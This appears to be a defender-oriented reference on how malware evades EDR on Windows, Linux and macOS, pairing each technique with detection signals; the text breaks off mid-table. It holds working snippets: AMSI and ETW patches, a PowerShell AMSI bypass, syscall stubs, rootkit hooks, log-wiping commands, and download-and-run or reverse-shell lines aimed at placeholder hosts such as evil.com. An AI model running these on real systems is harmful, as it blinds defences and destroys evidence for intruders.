How Malware Hides from EDR
EDR evasion techniques are deeply OS-specific because each platform exposes different telemetry sources, uses different hooking mechanisms, and has different security primitives. This document is organized per OS.
Memory hookalmost every evasion technique attacks one of EDR's sensors; the defense is "don't depend on one sensor." EDR sees the world through a handful of vantage points: userspace inline hooks (patches in ntdll), kernel callbacks, ETW, AMSI, and file/network filters. Map any evasion to the sensor it blinds: unhooking / direct & indirect syscalls defeat the userspace hooks; ETW patching and AMSI patching blind those two scanners; LOLBins hide inside trusted, already-allowed binaries so nothing malicious is dropped at all. The unifying defender lesson — and the best interview answer — is that attackers blind whatever single sensor they can reach, so resilient detection correlates across sensors the attacker can't all blind at once (kernel callbacks + ETW-TI + behavioral context), and treats the silence of a normally-chatty source as a signal in itself. (Full defender view: endpoint-detection.md.)
Windows EDR Evasion
How Windows EDR Sees the World
Windows EDR Telemetry Sources: ├── Kernel callbacks │ ├── PsSetCreateProcessNotifyRoutine — process create/exit │ ├── PsSetLoadImageNotifyRoutine — DLL/image loads │ └── CmRegisterCallback — registry changes ├── ETW (Event Tracing for Windows) providers │ ├── Microsoft-Windows-Threat-Intelligence — process injection events │ ├── Microsoft-Windows-Kernel-Process │ └── Microsoft-Windows-Security-Auditing ├── AMSI (Antimalware Scan Interface) │ └── scans PowerShell, VBScript, .NET, JScript before execution ├── Userspace inline hooks │ └── JMP patches at start of ntdll.dll / kernel32.dll / kernelbase.dll exports ├── Minifilter drivers (IRP_MJ_CREATE, IRP_MJ_WRITE on file I/O) ├── Windows Filtering Platform (WFP) — network callouts └── WMI activity subscriptions
The key insight: Windows EDRs primarily work via userspace hooks and kernel callbacks. Bypass strategies attack either layer.
W-1. Process Injection
All injection techniques share a goal: run attacker code inside a legitimate process to inherit its trust context and blend network traffic.
Classic DLL Injection
1. OpenProcess(PROCESS_ALL_ACCESS, target_pid)
2. VirtualAllocEx → allocate RW memory in target
3. WriteProcessMemory → write DLL path string
4. CreateRemoteThread(LoadLibraryA, dll_path_addr) → target loads DLLEDR detectionOpenProcess with PROCESS_VM_WRITE|PROCESS_CREATE_THREAD is a high-fidelity signal. The four-function chain is a well-known signature. ETW Microsoft-Windows-Threat-Intelligence provider fires on this.
Process Hollowing (RunPE)
1. CreateProcess("svchost.exe", CREATE_SUSPENDED)
2. NtUnmapViewOfSection → remove the legitimate image from virtual address space
3. VirtualAllocEx → map malicious PE at preferred base address
4. WriteProcessMemory → write headers + sections
5. SetThreadContext → redirect EIP/RIP to malicious entry point
6. ResumeThreadWhy it evadesProcess name/PID looks like svchost.exe. Network traffic is attributed to that PID.
Detection: NtUnmapViewOfSection on a newly-created suspended process is unusual. Memory scan shows on-disk PE hash ≠ in-memory PE hash. PE-sieve, HollowsHunter catch this at runtime.
Process Doppelgänging (TxF)
- Uses Windows Transactional NTFS (TxF): write malicious code to a file inside a transaction, create a section from it, roll back the transaction — file is never committed to disk
- Maps the section into a new process
NtCreateTransaction()
CreateFileTransacted() → write malicious PE
NtCreateSection(transacted_file)
NtRollbackTransaction() → file disappears from disk
NtCreateProcessEx(section) → new process backed by ghost fileWhy it evadesNo file ever exists on disk; file-based AV scans find nothing.
Detection: Suspicious sequence NtCreateTransaction → NtCreateSection → NtRollbackTransaction. Detectable via ETW Threat-Intelligence provider; image cannot be mapped back to a committed file.
Early Bird APC Injection
1. CreateProcess("explorer.exe", CREATE_SUSPENDED)
2. VirtualAllocEx + WriteProcessMemory → shellcode in target
3. QueueUserAPC(shellcode_addr, main_thread)
4. ResumeThread → APC executes BEFORE thread entry, before TLS callbacksWhy it evadesEDR hooks (loaded via DLL injection into the target) haven't run yet when the APC fires — the process hasn't reached its own entry point.
Detection: APC queued to a thread in a just-spawned suspended process before ResumeThread; anomalous APC in Sysmon event traces.
Module Stomping
- Map a legitimate signed DLL (
clrjit.dll,diasymreader.dll) into the target process viaMapViewOfFile - Overwrite its
.textsection in memory with shellcode - Shellcode executes from within that DLL's virtual address range
Why it evadesThe VAS region is backed by a legitimate file on disk — memory scanning tools that only check named-module ranges are fooled.
Detection: Read the mapped region, hash it, compare to on-disk file hash. PAGE_EXECUTE_READWRITE on a named module is an anomaly. PE-sieve compares mapped vs disk content.
Reflective DLL Injection
- The malicious DLL contains a hand-written loader ("reflective loader") at a known offset
- Shellcode calls the reflective loader, which:
- Parses its own PE headers
- Allocates memory and copies sections
- Fixes relocations + IAT manually
- Never calls
LoadLibraryor touches the filesystem
Why it evadesNo LoadLibrary call — hook at kernel32!LoadLibraryA is never triggered. No DLL on disk.
Detection: Executable private memory without a corresponding LoadLibraryEx call; scanning for MZ/PE headers in uncommitted private memory.
W-2. API Unhooking
Modern EDRs patch the first 5 bytes of sensitive ntdll.dll exports with a JMP to their own inspection code. Attackers remove or bypass these hooks.
Normal ntdll export (unhooked):
NtOpenProcess: 4C 8B D1 mov r10, rcx
B8 26 00 00 00 mov eax, 0x26
0F 05 syscall
C3 ret
Hooked by EDR (JMP to EDR's trampoline):
NtOpenProcess: E9 XX XX XX XX jmp <edr_hook_handler>
...Method 1: Direct Syscalls
Skip ntdll entirely — issue the raw syscall instruction with the correct syscall number:
mov r10, rcx
mov eax, 26h ; NtOpenProcess syscall number (varies by Windows version)
syscall
retTools: SysWhispers2, SysWhispers3 auto-generate these stubs.
Detectionsyscall instruction executing from a memory region that is NOT within the ntdll.dll module mapping (detected via NtQueryVirtualMemory). Some EDRs instrument the syscall instruction in kernel.
Method 2: Hell's Gate / Halo's Gate
- Walk
ntdllexports at runtime and read syscall numbers from the unpatched bytes surrounding the hook - Even if the first bytes are patched, the syscall number can be read from adjacent stubs by walking forward/backward
Method 3: Fresh / Clean Copy of ntdll
- Open
\KnownDlls\ntdll.dll(read-only kernel-shared section) or load ntdll directly fromC:\Windows\System32\into a new, unhooked region - Re-resolve function addresses against this clean copy
DetectionTwo mappings of ntdll.dll in a process's VAS (one from \KnownDlls, one freshly loaded from disk) is anomalous.
W-3. AMSI Bypass
AMSI allows the EDR/AV engine to scan script content in memory before execution — PowerShell, VBScript, .NET assemblies all pass through it.
Patching AmsiScanBuffer()
// amsi.dll exports AmsiScanBuffer(). Patching it makes all scans return AMSI_RESULT_CLEAN.
LPVOID pAmsi = GetProcAddress(LoadLibraryA("amsi.dll"), "AmsiScanBuffer");
VirtualProtect(pAmsi, 6, PAGE_EXECUTE_READWRITE, &oldProtect);
// Patch: XOR EAX,EAX / RET (return 0 = clean) or INT 3 depending on version
*(BYTE*)pAmsi = 0x31; *(BYTE*)(pAmsi+1) = 0xC0; // xor eax, eax
*(BYTE*)(pAmsi+2) = 0xC3; // retReflection-based AmsiContext Corruption (PowerShell)
# Corrupt the AmsiContext pointer so AMSI calls fail gracefully and fallback to "clean"
$a=[Ref].Assembly.GetTypes()
ForEach($b in $a){if($b.Name -like "*iUtils"){$c=$b}}
$d=$c.GetFields('NonPublic,Static')
ForEach($e in $d){if($e.Name -like "*Context"){$f=$e}}
$g=$f.GetValue($null)
[Runtime.InteropServices.Marshal]::WriteByte($g, 0x06)Detection
- PowerShell ScriptBlock logging (Event ID 4104) captures de-obfuscated content before AMSI is called, so even a patched AMSI leaves a PSScriptBlock log entry
- EDR monitors writes to
amsi.dllpage via kernel callback - Obfuscated AMSI bypass strings are themselves detectable patterns
W-4. ETW Bypass
EDRs subscribe to ETW providers (especially Microsoft-Windows-Threat-Intelligence) to receive injection events, syscall telemetry, and process activity.
Patching EtwEventWrite in ntdll
// EtwEventWrite() is called by ETW providers to submit events.
// Patching it to RET immediately silences all user-mode ETW telemetry.
LPVOID pEtw = GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite");
VirtualProtect(pEtw, 1, PAGE_EXECUTE_READWRITE, &old);
*(BYTE*)pEtw = 0xC3; // RETWhat it killsAll user-mode ETW events from the infected process, including .NET CLR events, WMI events, and security provider telemetry.
DetectionEDR hashes ntdll.dll functions on load and periodically re-checks. A 0xC3 at EtwEventWrite+0 vs expected 4C 8B DC (mov r11, rsp) is an immediate flag.
ETW Session Tampering
- Abusing
ControlTrace()orStopTrace()to suspend or terminate the ETW session consuming security events - Requires
SeSystemProfilePrivilege— less common but achievable after privilege escalation
W-5. Living-off-the-Land (LOLBins)
Execute malicious code without dropping custom PE files — use signed, trusted Windows binaries.
| LOLBin | Technique | MITRE |
|---|---|---|
powershell.exe | IEX (New-Object Net.WebClient).DownloadString(url) — download & exec in memory | T1059.001 |
mshta.exe | mshta http://evil.com/payload.hta — executes remote HTML Application | T1218.005 |
regsvr32.exe | Squiblydoo: /s /n /u /i:http://evil/payload.sct scrobj.dll — scriptlet via COM | T1218.010 |
rundll32.exe | rundll32 evil.dll,Main — execute exported DLL function | T1218.011 |
certutil.exe | -decode payload.b64 payload.exe or -urlcache -split -f download | T1105 |
bitsadmin.exe | bitsadmin /transfer /download http://evil/file.exe | T1197 |
wmic.exe | wmic process call create "powershell ..." — spawn child process indirectly | T1047 |
msiexec.exe | /q /i http://evil/payload.msi — remote MSI execution | T1218.007 |
installutil.exe | Execute .NET assembly via ISubscription — bypasses AppLocker | T1218.004 |
wscript.exe / cscript.exe | Run VBScript / JScript | T1059.005 |
odbcconf.exe | REGSVR dll_path — load COM DLL | T1218.008 |
xwizard.exe | COM object instantiation to load a DLL | T1218 |
Referencehttps://lolbas-project.github.io/
DetectionSuspicious parent-child chains (Word → cmd → powershell); encoded -EncodedCommand; Sysmon Event ID 1 (process create) with CommandLine matching these patterns; network connections from non-browser processes.
W-6. Token Manipulation
Windows access tokens encode a thread's/process's security context (privileges, SIDs, groups).
// Impersonate a SYSTEM-level token: steal from a SYSTEM process
OpenProcessToken(hSystemProcess, TOKEN_DUPLICATE, &hToken);
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hNewToken);
ImpersonateLoggedOnUser(hNewToken); // or CreateProcessWithTokenW() for a new processWhy it mattersPrivilege escalation without exploiting a kernel bug — just abusing Windows impersonation semantics. Used in post-exploitation frameworks (Cobalt Strike token::impersonate, Metasploit getsystem).
Variants
thread borrows a token
SeDebugPrivilegedebug any process → open its token
use token of a trusted auto-elevate process
DetectionSysmon Event ID 10 (process access with DesiredAccess = 0x1400); anomalous ImpersonateLoggedOnUser following process handle open.
W-7. PPL (Protected Process Light) Bypass
LSASS runs as a PPL to prevent credential dumping. PPL processes can only be opened by other PPL processes or the kernel.
BypassLoad a vulnerable signed kernel driver that removes the _PS_PROTECTION flag from LSASS's EPROCESS struct in kernel memory. The driver is signed (passes Driver Signature Enforcement) but has a local privilege escalation bug.
Famous example: PPLKiller using RTCore64.sys (Micro-Star MSI Afterburner driver, CVE-2019-16098).
DetectionSysmon Event 6 (driver loaded) for known vulnerable drivers; hash-based block lists in Windows Defender ASR; WDAC (Windows Defender Application Control) policy blocks vulnerable drivers.
W-8. Event Log Tampering
# Clear specific channels
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
# Suspend ETW session feeding Security channel (requires privilege)
logman stop "EventLog-Security" -etsGap creationEvent ID gaps (e.g., jump from 4624 at 10:00 to 4648 at 10:45) are forensically significant.
DetectionEvent ID 1102 (Security audit log cleared) or 104 (System log cleared); SIEM alert on log channel size dropping to zero; Windows Remote Event Collection means a copy exists on a collector host.
Linux EDR Evasion
How Linux EDR Sees the World
Linux EDRs don't have a single vendor-controlled hook surface like Windows. They compose multiple kernel interfaces:
Linux EDR / Security Tool Telemetry Sources: ├── eBPF programs │ ├── kprobes / kretprobes — attach to any kernel function │ ├── tracepoints — stable kernel instrumentation points │ ├── LSM hooks (BPF-LSM) — security_* hooks (execve, open, socket, etc.) │ └── XDP / TC — network packet processing ├── auditd (Linux Audit Framework) │ └── syscall audit rules (execve, openat, connect, ptrace, etc.) ├── fanotify — filesystem events (Falco, some EDRs) ├── inotify — file/directory watch ├── Netlink / proc events — process lifecycle (fork, exec, exit) ├── /proc/<pid>/ — process state, maps, fd, status └── Kernel modules (legacy) — hook sys_call_table or LSM hooks
Key difference from WindowsMany Linux EDRs are eBPF-based (Falco, Tracee, Tetragon). Bypassing them requires either confusing eBPF programs or exploiting verifier bugs. The attack surface is different.
L-1. LD_PRELOAD / Shared Library Hijacking
The dynamic linker resolves symbols at runtime. If an attacker-controlled library is loaded first, it can replace libc functions.
# Global: affects all dynamically linked processes
echo "/tmp/evil.so" > /etc/ld.so.preload
# Per-process (requires execution control)
LD_PRELOAD=/tmp/evil.so /usr/bin/ssh
# What the evil.so does (rootkit)
// Override readdir() to hide files prefixed with "evil_"
// Override getpwent() to hide a backdoor user account
// Override fopen() to prevent reading /etc/shadowWhy it evadesThe EDR's user-space agent may itself be vulnerable if it calls functions that get intercepted. Process lists, file listings all get filtered at the libc level before the EDR reads them.
Detection
# Check for ld.so.preload
cat /etc/ld.so.preload
# Find all LD_PRELOAD in running processes
grep -r LD_PRELOAD /proc/*/environ 2>/dev/null
# Look for libraries not in ldconfig cache
ldconfig -p | grep -v "^[[:space:]]"
# Cross-reference against /proc/<pid>/mapsEDRs that use eBPF with kernel-level hooks (not user-space) are not fooled by LD_PRELOAD.
L-2. LKM Rootkits (Loadable Kernel Module)
A malicious LKM runs in ring 0 with full kernel privileges.
sys_call_table Hooking
// 1. Disable write protection on the page containing sys_call_table
write_cr0(read_cr0() & ~0x10000); // clear WP bit
// 2. Replace pointer to the target syscall
original_getdents = sys_call_table[__NR_getdents64];
sys_call_table[__NR_getdents64] = hooked_getdents64;
// 3. Re-enable write protection
write_cr0(read_cr0() | 0x10000);
// hooked_getdents64: call original, then filter out entries whose names match attacker patternSelf-hiding from lsmod
// Remove the module from the linked list that lsmod traverses
list_del_init(&THIS_MODULE->list);
// Also remove from kobject tree (hides from /sys/module/)
kobject_del(&THIS_MODULE->mkobj.kobj);What attackers hidefiles, processes, network connections, the rootkit module itself.
Detection
# Compare kernel symbol resolution to expected
sudo cat /proc/kallsyms | grep sys_call_table
# sys_call_table should point into kernel text, not a module
# If address falls in an unusual range → hooked
# Cross-check processes
ps aux vs ls /proc | grep '^[0-9]'
# PIDs in /proc that don't appear in ps = hidden process
# Cross-check network connections
ss -tulpn vs /proc/net/tcp
# Entries in /proc/net/tcp hidden from ss = rootkit hook on getdents/netlink
# Tools
chkrootkit
rkhunter --check --skL-3. eBPF-Based Rootkits
Modern attacker technique: use eBPF itself (the EDR's own weapon) for hiding and surveillance.
Examples
(github.com/pathtofile/bad-bpf): eBPF programs that hide processes, files, network connections at the kernel level
eBPF uprobe on pam_unix.so to steal passwords at PAM authentication
full attacker toolkit using XDP, tc, kprobe eBPF programs
// XDP program that silently drops all packets from a C2 IP, preventing detection of C2 traffic
SEC("xdp")
int drop_c2(struct xdp_md *ctx) {
// parse IP, if src == c2_ip → XDP_DROP (never reaches the network stack or pcap)
}
// uprobe on pam_unix_auth to capture plaintext passwords
SEC("uprobe//lib/security/pam_unix.so:pam_sm_authenticate")
int steal_pam_auth(struct pt_regs *ctx) {
// read password argument from register
}Why it's powerfuleBPF programs run in kernel space. An EDR using only user-space or auditd won't see network connections that are dropped at XDP layer. eBPF rootkits can filter getdents64, openat, read results.
Detection
# List all loaded eBPF programs
bpftool prog list
# Programs with unexpected names or unknown ownership are suspicious
# Check eBPF maps (persistent data)
bpftool map list
# Pin path inspection
ls /sys/fs/bpf/
# Kernel lockdown mode (confidentiality) prevents unprivileged eBPF loading
# CAP_BPF required since Linux 5.8 — limit who has itTetragon (Cilium's eBPF security tool) can detect malicious eBPF program loading via its own kernel hooks.
L-4. Fileless Execution via memfd_create
Linux equivalent of "fileless" malware:
// Create an anonymous in-memory file (no path in filesystem)
int fd = memfd_create("legit_name", MFD_CLOEXEC);
// Write executable content into it
write(fd, elf_bytes, elf_size);
// Execute it — argv[0] can be anything
fexecve(fd, argv, envp);
// /proc/<pid>/exe will show "/memfd:legit_name (deleted)"AlternativeWrite shellcode into memory allocated with mmap(PROT_EXEC) and jump to it.
Detection
# Find processes executing from memfd
ls -la /proc/*/exe 2>/dev/null | grep memfd
grep -r "memfd" /proc/*/maps 2>/dev/null
# Falco rule
- rule: Execution from memfd
condition: spawned_process and proc.exe contains "memfd"
output: "Process executed from memfd (pid=%proc.pid exe=%proc.exe)"L-5. /proc Manipulation and Process Hiding
# Remount /proc with bind mounts to shadow specific PID directories
mount --bind /proc/1 /proc/<evil_pid>
# /proc/<evil_pid> now shows init's info instead of the malicious process
# Fork bomb or rapid PID recycling to confuse EDR PID tracking
# Rename process argv[0] via prctl
prctl(PR_SET_NAME, "kworker/0:1H"); // make process look like a kernel workerHiding in plain sightNaming malicious processes after kernel worker threads (kworker, kdevtmpfs, migration) is common in crypto miners.
DetectioneBPF tracepoints on sched_process_exec capture the real binary path at exec time, before prctl renaming. Tetragon tracks the binary inode, not just the name.
L-6. Auditd Evasion
If the EDR relies on auditd for syscall visibility:
# Kill or disable auditd (requires root)
auditctl -e 0 # disable auditing entirely
service auditd stop
# Flood the audit log buffer to cause log loss (AUDIT_BACKLOG_LIMIT overflow)
# Generates millions of audit events until kernel drops records with AUDIT_LOST
# Tamper with rules
auditctl -D # delete all rulesDetectioneBPF-based EDRs (Falco, Tetragon) are independent of auditd and not affected. Monitor for auditctl execution itself. SIEM alert when audit daemon stops.
L-7. Log Tampering
# Clear bash history (avoid utmp/wtmp entries)
unset HISTFILE
export HISTSIZE=0
history -c && history -w
# Overwrite wtmp/utmp (login records)
echo "" > /var/log/wtmp # breaks 'last' command
echo "" > /var/run/utmp # breaks 'who' / 'w' command
echo "" > /var/log/lastlog
# Selectively edit auth.log (requires root)
# Remove lines matching attacker's IP or username
sed -i '/192.168.1.100/d' /var/log/auth.log
# Kill syslog to stop new entries
kill $(pgrep rsyslog)DetectionRemote syslog / SIEM (Splunk, Chronicle, Elastic) receives logs before they can be tampered locally. Auditd rule on writes to /var/log/. Immutable file attributes (chattr +i /var/log/auth.log).
L-8. Linux LOLBins
Attackers use trusted system utilities to download, execute, and escalate — harder to flag than unknown binaries.
| LOLBin | Technique |
|---|---|
bash / sh | /dev/tcp/evil.com/4444 reverse shell without netcat |
python3 | import urllib.request; exec(urllib.request.urlopen(url).read()) |
perl | One-liner reverse shell |
curl / wget | Download and pipe to shell: curl http://evil/payload | bash |
nc (netcat) | Reverse shell, bind shell, file transfer |
dd | Read/write raw disk blocks, copy memory regions |
openssl s_client | Encrypted reverse shell bypassing DPI |
nmap | Network scanning, NSE script execution |
rsync | File exfiltration over SSH |
socat | Full-featured relay; encrypted channels with OpenSSL |
awk / sed | In-line script execution for obfuscated payload stages |
find | -exec for code execution without a shell |
xargs | Pipe-driven execution |
Referencehttps://gtfobins.github.io/
DetectionAuditd / eBPF on execve with suspicious argument patterns. Falco rules for shell spawned by curl, network connection from interpreter.
L-9. Linux Timestomping
# Modify all timestamps on a file to match a known-good file
touch -r /bin/ls /tmp/evil_backdoor
# Set specific timestamp
touch -t 202001010000.00 /tmp/evil_backdoor
# syscall level
utimensat(AT_FDCWD, "/tmp/evil_backdoor", times, 0);DetectionLinux has only one timestamp set (unlike NTFS's $STANDARD_INFO / $FILE_NAME split), making detection harder than on Windows. Indicators:
- Inode change time (
ctime) cannot be changed bytouch— it reflects the last metadata modification statoutput: ifmtimeis in 2020 butctimeis 2026 → timestomped- Compare inode allocation order vs claimed mtime
macOS EDR Evasion
How macOS EDR Sees the World
macOS's security architecture has changed significantly over the years. Key evolution:
macOS EDR / Security Tool Telemetry Sources: ├── Endpoint Security Framework (ESF) — since macOS 10.15 Catalina │ ├── ES_EVENT_TYPE_AUTH_EXEC — intercept + allow/deny exec │ ├── ES_EVENT_TYPE_NOTIFY_* — file, process, network events (notify-only) │ └── Requires System Extension (no kernel extensions since macOS 11) ├── TCC (Transparency, Consent, Control) │ └── Controls access to sensitive data/hardware regardless of EDR ├── BSM Audit Framework (/etc/security/audit_control) │ └── Syscall-level audit trail (OpenBSM format) ├── FSEvents — filesystem change notifications ├── Unified Logging System (OSLog) — all subsystem logs, structured ├── Network Extension framework — packet/flow-level network visibility └── Santa (Google) / ESF clients — binary allowlist/blocklist
Critical constraintSince macOS 11, kernel extensions (kexts) are deprecated in favor of System Extensions. This limits ring-0-level rootkits dramatically. Most modern macOS malware operates in user space and must defeat ESF, TCC, and Gatekeeper.
M-1. DYLD_INSERT_LIBRARIES Injection
macOS equivalent of Linux LD_PRELOAD:
# Inject a dylib into any process at launch
DYLD_INSERT_LIBRARIES=/tmp/evil.dylib /Applications/Terminal.app/Contents/MacOS/TerminalLimitations (Apple's mitigations)
- Processes with the hardened runtime (
com.apple.security.cs.allow-dyld-environment-variables = falseby default) ignoreDYLD_INSERT_LIBRARIES - SIP-protected binaries completely ignore it
- Notarized apps with hardened runtime can't be injected this way without a separate code signing bypass
Remaining attack surfaceIn-house enterprise apps, development builds, apps that explicitly set com.apple.security.cs.allow-dyld-environment-variables = true (sign themselves with that entitlement).
Detection
# Check for DYLD_INSERT_LIBRARIES in running process environments
sudo lsof -p <pid> | grep dylib # unexpected dylib paths
ps aux | grep DYLD_INSERT_LIBRARIES
# ESF generates ES_EVENT_TYPE_NOTIFY_MMAP events for dylib loadsM-2. task_for_pid Process Injection
macOS equivalent of OpenProcess — task_for_pid() returns the Mach task port for another process, giving full read/write/execution control.
// Request task port of target process
mach_port_t task;
task_for_pid(mach_task_self(), target_pid, &task);
// Allocate memory in target
mach_vm_allocate(task, &addr, size, VM_FLAGS_ANYWHERE);
// Write shellcode
mach_vm_write(task, addr, (vm_offset_t)shellcode, shellcode_size);
// Change protection to executable
mach_vm_protect(task, addr, size, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
// Create remote thread
thread_act_t thread;
thread_create_running(task, ARM_THREAD_STATE64, (thread_state_t)&state, count, &thread);Mitigations
task_for_pidrequires the caller to havetaskportaccess or root- System Integrity Protection (SIP) blocks
task_for_pidagainst SIP-protected processes - The
get-task-allowentitlement must be present on the target (only in development builds) - Hardened Runtime: targets with hardened runtime + no
com.apple.security.cs.debuggerentitlement cannot be injected
DetectionESF ES_EVENT_TYPE_NOTIFY_REMOTE_THREAD_CREATE; audit framework syscall for task_for_pid; process with unexpected Mach port sends.
M-3. Dylib Hijacking
macOS uses @rpath, @executable_path, @loader_path — relative dylib search paths. If the first path in the search order is writable, an attacker can plant a malicious dylib there.
# Check an app's dylib search paths
otool -l /Applications/App.app/Contents/MacOS/App | grep -A2 RPATH
# If the first @rpath entry points to a writable directory → hijackable
# Malicious dylib must re-export the original to avoid crashes
# __attribute__((constructor)) runs attacker code on dylib load
__attribute__((constructor))
static void pwn() {
system("launchctl load ~/Library/LaunchAgents/evil.plist");
}Detection
- Check writability of rpath directories:
otool -l <binary>+ls -la <rpath_dirs> - ESF generates load events for dylibs; unexpected paths trigger alerts
- Santa blocklist on unsigned dylibs
M-4. Launch Agent / Launch Daemon Persistence
The standard macOS persistence mechanism — and therefore the one malware uses most:
~/Library/LaunchAgents/ ← per-user, runs as current user
/Library/LaunchAgents/ ← all users, runs as current user (requires admin)
/Library/LaunchDaemons/ ← system-wide, runs as root
/System/Library/LaunchDaemons/ ← Apple-only (SIP protected)<!-- ~/Library/LaunchAgents/com.apple.update.helper.plist -->
<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0"><dict>
<key>Label</key><string>com.apple.update.helper</string>
<key>ProgramArguments</key>
<array><string>/Users/victim/Library/Application Support/.cache/updater</string></array>
<key>RunAtLoad</key><true/>
<key>KeepAlive</key><true/>
</dict></plist>Evasion tricks
- Label mimics Apple services (
com.apple.*) - Hidden path (
.prefix inApplication Support) KeepAliverestarts the payload if killed
Detection
# List all LaunchAgents/Daemons
launchctl list | grep -v com.apple
ls ~/Library/LaunchAgents/
ls /Library/LaunchAgents/ /Library/LaunchDaemons/
# Autoruns equivalent for macOS
brew install --cask knockknock # BlockBlock / KnockKnock by Objective-SeeESF ES_EVENT_TYPE_NOTIFY_WRITE on LaunchAgent directories.
M-5. XPC Service Exploitation
XPC is macOS's IPC mechanism. Many privileged services expose XPC interfaces without adequate caller validation.
Attack patternFind an XPC service with a powerful entitlement (FDA, network filtering, keychain access) that doesn't properly check the caller's code signing identity.
// Attacker connects to a privileged XPC service
NSXPCConnection *conn = [[NSXPCConnection alloc]
initWithServiceName:@"com.apple.privileged.service"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(PrivilegedOps)];
[conn resume];
// If the service doesn't check [conn auditToken] or code signing → privilege escalationReal-world exampleCVE-2026-28910's AUHelperService had FDA entitlement but did not verify the XPC caller — any process could trigger privileged file copy operations. See hardening/macos-hardening.md for full details.
DetectionSecurity audit of XPC interfaces using xpc-snooper, xpcspy; check com.apple.security.app-sandbox entitlement on XPC services and their lack of caller verification.
M-6. Code Signing and Gatekeeper Bypass
Ad-hoc Signing
Any binary can be ad-hoc signed — it gets a - identity. Not trusted by Gatekeeper for downloaded files, but if the file was never quarantined (arrived via non-browser path), it runs.
codesign -s - /tmp/evil_binary # ad-hoc sign
xattr -d com.apple.quarantine /tmp/evil_binary # remove quarantine (if attacker can write this)Misusing Legitimate Developer Certificates
A Developer ID certificate passes Gatekeeper even without notarisation if the user clicks "Open Anyway". Some malware campaigns use stolen or legitimately obtained Developer ID certs.
Entitlement Abuse
Some entitlements are private (Apple-internal) but can be re-signed onto binaries with a root-capable codesign invocation on an SIP-disabled machine. These entitlements grant TCC permissions without user prompts. Post-SIP, this requires SIP bypass first.
Detection
# Check an app's entitlements
codesign -dv --entitlements :- /Applications/Suspicious.app
# Verify notarisation
spctl -a -v /Applications/Suspicious.app
# "source=Notarized Developer ID" = good; "source=unnotarized" = suspicious
# Check quarantine attribute
xattr -l ~/Downloads/suspicious_app.dmg | grep quarantineM-7. TCC Bypass
TCC controls access to sensitive resources (Full Disk Access, Screen Recording, Camera, etc.) regardless of root privileges. TCC bypasses are therefore high-value.
See hardening/macos-hardening.md for the complete TCC deep dive including:
- Architecture and bypass technique table
- CVE-2026-28910 — Archive Utility + com.apple.macl + preference manipulation chain
- AUHelperService XPC flaw
Summary of bypass categories
| Category | Example |
|---|---|
| Exploit TCC-entitled process | Piggyback on a process that already has FDA (Time Machine, Archive Utility) |
com.apple.macl xattr abuse | Drag-and-drop grants permanent, irrevocable file access — exploit via symlink or timing |
| Environment variable injection | Inject into a process with TCC entitlements (if hardened runtime disabled) |
| TCC.db direct write | Requires FDA or SIP bypass to write ~/Library/Application Support/com.apple.TCC/TCC.db |
| Private entitlement abuse | com.apple.private.tcc.allow with an SIP bypass grants TCC permissions without prompts |
M-8. macOS LOLBins
Binary | Technique
----------------|----------------------------------------------------------
osascript | AppleScript/JXA execution; UI automation; keychain access
curl | Download payloads; exfiltrate data
python3 | Exec code; C2 channel; crypto; keychain via ctypes
bash / zsh | /dev/tcp reverse shells; heredoc payload staging
xcodebuild | Compile and run code; legitimate signing context
open | Open URLs, files, apps — can trigger URL handlers
security | Read/write keychain items; dump certificates
ditto | Copy file hierarchies preserving metadata + xattrs
launchctl | Load/unload launch agents/daemons (persistence)
defaults | Read/write preference files (used in CVE-2026-28910)
sqlite3 | Read TCC.db, Safari history, Keychain-related DBs
plutil | Parse/modify plist files
screencapture | Take screenshots (needs Screen Recording TCC — attacker may already have it)DetectionESF ES_EVENT_TYPE_AUTH_EXEC + allowlist; Santa with unknown binary blocks; Unified Log shows command line arguments for all exec events.
M-9. Unified Log Suppression
macOS's Unified Logging System (OSLog / log) centralizes all system and application log messages. EDR tools on macOS rely on it for telemetry.
# Suppress a specific subsystem's log output
sudo log config --subsystem com.apple.security --mode level:off
# Delete persisted log archives (requires SIP disabled or root + specific timing)
sudo rm -rf /var/db/diagnostics/
# Reading logs to find out what's being logged before evading
log stream --predicate 'subsystem == "com.apple.TCC"' --infoNotelog config changes require root, and are logged themselves in /var/db/diagnostics/. Remote log collection (to a SIEM) means local deletion is insufficient.
Cross-Platform: Sandbox & VM Detection
Malware detects analysis environments to delay execution until deployed on real targets.
| Check | Windows | Linux | macOS |
|---|---|---|---|
| Hypervisor flags in CPUID | CPUID EAX=1, ECX bit 31 | Same | Same |
| VM-specific files/registry | HKLM\SOFTWARE\VMware, Inc. | /dev/vmware_vmmemctl, /sys/class/dmi/id/product_name | IOKit IOPlatformExpertDevice model string |
| MAC address prefix | VMware 00:0C:29, VBox 08:00:27 | Same | Same |
| Process list checks | vboxservice.exe, vmtoolsd.exe, procmon.exe | vmware-guestd, vboxclient | No common analogue |
| Username / hostname | SANDBOX, MALTEST, WIN7-ANALYSIS | sandbox, common analysis hostnames | analysis, unusual |
| CPU count | 1 CPU = sandbox heuristic | Same | Same |
| Memory size | <2GB RAM = sandbox | Same | Same |
| Screen resolution | <1024x768 = sandbox | N/A (headless Linux typical) | Low res = sandbox |
| Uptime | <10 minutes = fresh sandbox boot | Same | Same |
| Mouse movement | No input events | N/A | No input events |
| Time delay | Sleep(600000) outlasts most sandbox timeouts | sleep 600 | sleep(600) |
| Network probe | Resolve known-good domain; no internet = sandbox | Same | Same |
| Artifact count | Few recently used files, no browser history | Minimal /home | Empty user profile |
| Debugger detection | IsDebuggerPresent(), CheckRemoteDebugger | ptrace(PTRACE_TRACEME) returns -1 if being traced | ptrace(PT_DENY_ATTACH) / sysctl kern.proc.pid P_TRACED flag |
Countermeasures in analysis environmentsSandbox systems artificially inflate tick counts, fake process lists, simulate mouse movement, and patch IsDebuggerPresent. Behavioral detection bypasses time-based delays by accelerating time.
Detection Opportunities Summary
Windows
| Technique | Detection Signal |
|---|---|
| Classic DLL injection | OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread chain |
| Process hollowing | NtUnmapViewOfSection on suspended process; PE header in-memory ≠ on-disk |
| Process doppelgänging | NtCreateTransaction + NtCreateSection + NtRollbackTransaction sequence |
| Early Bird APC | APC queued to brand-new suspended process |
